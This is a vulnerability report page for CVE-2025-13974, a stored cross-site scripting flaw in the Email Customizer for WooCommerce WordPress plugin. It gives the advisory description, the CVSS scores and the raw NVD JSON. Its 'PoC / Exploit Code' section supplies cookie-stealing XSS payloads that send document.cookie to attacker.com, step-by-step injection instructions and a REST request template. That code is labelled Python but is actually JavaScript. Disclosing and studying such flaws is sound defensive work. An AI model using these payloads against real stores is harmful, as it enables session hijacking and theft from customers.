Security Vulnerability Report
中文
CVE-2025-13974 CVSS 4.4 MEDIUM

CVE-2025-13974

Published: 2026-01-07 12:16:51
Last Modified: 2026-04-15 00:35:42

Description

The Email Customizer for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via email template content in all versions up to, and including, 2.6.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in email templates that will execute when customers view transactional emails. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Email Customizer for WooCommerce <= 2.6.7(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13974 PoC - Email Customizer for WooCommerce Stored XSS // Requires administrator privileges // Malicious payload to be inserted in email template content: // <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> // Attack steps: // 1. Login to WordPress with administrator account // 2. Navigate to WooCommerce > Email Customizer // 3. Edit any email template (e.g., Order Confirmation) // 4. Insert the XSS payload in template content area // 5. Save the template // 6. When any user views the email or template preview, XSS triggers const payload = ` <img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie"> `; // Example WordPress REST API exploit (if authenticated as admin): const exploit = { method: 'POST', url: '/wp-json/wc/v1/settings/general-template', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': 'YOUR_NONCE', 'Cookie': 'wordpress_admin_cookie' }, body: JSON.stringify({ template_content: '<div>' + payload + '</div>', template_type: 'order_complete' }) }; console.log('CVE-2025-13974 - Stored XSS in Email Customizer for WooCommerce'); console.log('Target: WordPress with Email Customizer plugin <= 2.6.7'); console.log('Required: Administrator privileges');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13974", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:50.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Email Customizer for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via email template content in all versions up to, and including, 2.6.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in email templates that will execute when customers view transactional emails. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Email Customizer para WooCommerce para WordPress es vulnerable a cross-site scripting almacenado a través del contenido de las plantillas de correo electrónico en todas las versiones hasta e incluyendo la 2.6.7, debido a una sanitización insuficiente de la entrada y un escape de la salida. Esto permite a atacantes autenticados, con acceso de nivel de administrador, inyectar scripts web arbitrarios en las plantillas de correo electrónico que se ejecutarán cuando los clientes vean los correos electrónicos transaccionales. Esto solo afecta a las instalaciones multisitio y a las instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/email-customizer-for-woocommerce/tags/2.6.7/classes/inc/class-wecmf-general-template.php#L213", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/email-customizer-for-woocommerce/trunk/classes/inc/class-wecmf-general-template.php#L213", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3455187/#file6", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c6927b4f-f47e-47fc-a5bf-b7fa42c31412?source=cve", "source": "[email protected]"}]}}